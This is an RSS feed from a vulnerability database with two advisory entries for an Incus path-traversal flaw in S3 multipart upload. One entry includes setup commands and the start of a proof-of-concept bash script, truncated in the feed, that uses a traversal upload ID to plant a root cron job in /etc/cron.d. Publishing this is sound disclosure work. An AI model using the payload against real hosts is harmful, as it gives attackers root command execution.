<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://db.gcve.eu</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Sun, 04 Oct 2026 08:44:50 +0000</lastBuildDate>
    <item>
      <title>CVE-2026-48753 — Incus has an arbitrary file write via path traversal in S3 multipart upload</title>
      <link>https://db.gcve.eu/vuln/cve-2026-48753</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; lxc incus&lt;/p&gt;
&lt;p&gt;Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. Version 7.1.0 fixes the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; lxc incus&lt;/p&gt;
&lt;p&gt;Incus is a system container and virtual machine manager. Prior to version 7.1.0, the S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution. Version 7.1.0 fixes the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/cve-2026-48753</guid>
    </item>
    <item>
      <title>GHSA-ccjc-4qc3-jxqc — Incus has an arbitrary file write via path traversal in S3 multipart upload</title>
      <link>https://db.gcve.eu/vuln/ghsa-ccjc-4qc3-jxqc</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lxc/incus/v7/cmd/incusd&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.&lt;/p&gt;
&lt;p&gt;In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;### Setup&lt;/p&gt;
&lt;p&gt;```
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#&amp;gt; note the credentials
```&lt;/p&gt;
&lt;p&gt;### Exploitation&lt;/p&gt;
&lt;p&gt;The below script was mostly generated.&lt;/p&gt;
&lt;p&gt;```
#!/usr/bin/env bash
set -euo pipefail&lt;/p&gt;
&lt;p&gt;if [ $# -lt 4 ]; then
	printf &amp;#39;usage: $0 endpoint bucket access-key secret-key\n&amp;#39; &amp;gt;&amp;amp;2
	exit 1
fi&lt;/p&gt;
&lt;p&gt;endpoint=&amp;#34;${1%/}&amp;#34;
bucket=&amp;#34;${2}&amp;#34;
access=&amp;#34;${3}&amp;#34;
secret=&amp;#34;${4}&amp;#34;&lt;/p&gt;
&lt;p&gt;region=&amp;#34;us-east-1&amp;#34;
service=&amp;#34;s3&amp;#34;
key=&amp;#34;anything&amp;#34;
part=&amp;#34;1&amp;#34;
upload_id=&amp;#34;../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d&amp;#34;
target=&amp;#34;/etc/cron.d/part-00001&amp;#34;
cmd=&amp;#34;id &amp;gt; /incus-s3-uploadid-bash-rce; rm -f $target&amp;#34;
body=&amp;#34;* * * * * root /bin/sh -c &amp;#39;$cmd&amp;#39;
&amp;#34;&lt;/p&gt;
&lt;p&gt;uri_path=&amp;#34;$(printf &amp;#39;%s&amp;#39; &amp;#34;$endpoint&amp;#34; | sed -E &amp;#39;s#^[a-z]+://[^/]+##&amp;#39;)/$bucket/$key&amp;#34;
uri_path=&amp;#34;${uri_path#/}&amp;#34;
uri_path=&amp;#34;/$uri_path&amp;#34;
host=&amp;#34;$(printf &amp;#39;%s&amp;#39; &amp;#34;$endpoint&amp;#34; | sed -E &amp;#39;s#^[a-z]+://([^/]+).*#\1#&amp;#39;)&amp;#34;
qs=&amp;#34;partNumber=$part&amp;amp;uploadId=${upload_id//\//%2F}&amp;#34;
url=&amp;#34;$endpoint/$bucket/$key?$qs&amp;#34;&lt;/p&gt;
&lt;p&gt;amz_date=$(date -u +%Y%…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; Go: github.com/lxc/incus/v7/cmd/incusd&lt;/p&gt;
&lt;p&gt;## Summary&lt;/p&gt;
&lt;p&gt;The S3 protocol upload endpoint is vulnerable to path traversal and allows creation of arbitrary files on the host. This behavior could lead to arbitrary command execution.&lt;/p&gt;
&lt;p&gt;In `internal/server/storage/s3/local/multipart.go`, user-controlled upload ID is appended to the uploads directory unsanitized; https://github.com/lxc/incus/blob/40dd4f151d52c06b178482aa2518abfb9df3e6fb/internal/server/storage/s3/local/multipart.go#L33&lt;/p&gt;
&lt;p&gt;## PoC&lt;/p&gt;
&lt;p&gt;### Setup&lt;/p&gt;
&lt;p&gt;```
# Expose the S3 API and create a bucket
incus config set core.storage_buckets_address=:8555
incus storage volume create default bucket
#&amp;gt; note the credentials
```&lt;/p&gt;
&lt;p&gt;### Exploitation&lt;/p&gt;
&lt;p&gt;The below script was mostly generated.&lt;/p&gt;
&lt;p&gt;```
#!/usr/bin/env bash
set -euo pipefail&lt;/p&gt;
&lt;p&gt;if [ $# -lt 4 ]; then
	printf &amp;#39;usage: $0 endpoint bucket access-key secret-key\n&amp;#39; &amp;gt;&amp;amp;2
	exit 1
fi&lt;/p&gt;
&lt;p&gt;endpoint=&amp;#34;${1%/}&amp;#34;
bucket=&amp;#34;${2}&amp;#34;
access=&amp;#34;${3}&amp;#34;
secret=&amp;#34;${4}&amp;#34;&lt;/p&gt;
&lt;p&gt;region=&amp;#34;us-east-1&amp;#34;
service=&amp;#34;s3&amp;#34;
key=&amp;#34;anything&amp;#34;
part=&amp;#34;1&amp;#34;
upload_id=&amp;#34;../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../etc/cron.d&amp;#34;
target=&amp;#34;/etc/cron.d/part-00001&amp;#34;
cmd=&amp;#34;id &amp;gt; /incus-s3-uploadid-bash-rce; rm -f $target&amp;#34;
body=&amp;#34;* * * * * root /bin/sh -c &amp;#39;$cmd&amp;#39;
&amp;#34;&lt;/p&gt;
&lt;p&gt;uri_path=&amp;#34;$(printf &amp;#39;%s&amp;#39; &amp;#34;$endpoint&amp;#34; | sed -E &amp;#39;s#^[a-z]+://[^/]+##&amp;#39;)/$bucket/$key&amp;#34;
uri_path=&amp;#34;${uri_path#/}&amp;#34;
uri_path=&amp;#34;/$uri_path&amp;#34;
host=&amp;#34;$(printf &amp;#39;%s&amp;#39; &amp;#34;$endpoint&amp;#34; | sed -E &amp;#39;s#^[a-z]+://([^/]+).*#\1#&amp;#39;)&amp;#34;
qs=&amp;#34;partNumber=$part&amp;amp;uploadId=${upload_id//\//%2F}&amp;#34;
url=&amp;#34;$endpoint/$bucket/$key?$qs&amp;#34;&lt;/p&gt;
&lt;p&gt;amz_date=$(date -u +%Y%…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://db.gcve.eu/vuln/ghsa-ccjc-4qc3-jxqc</guid>
    </item>
  </channel>
</rss>
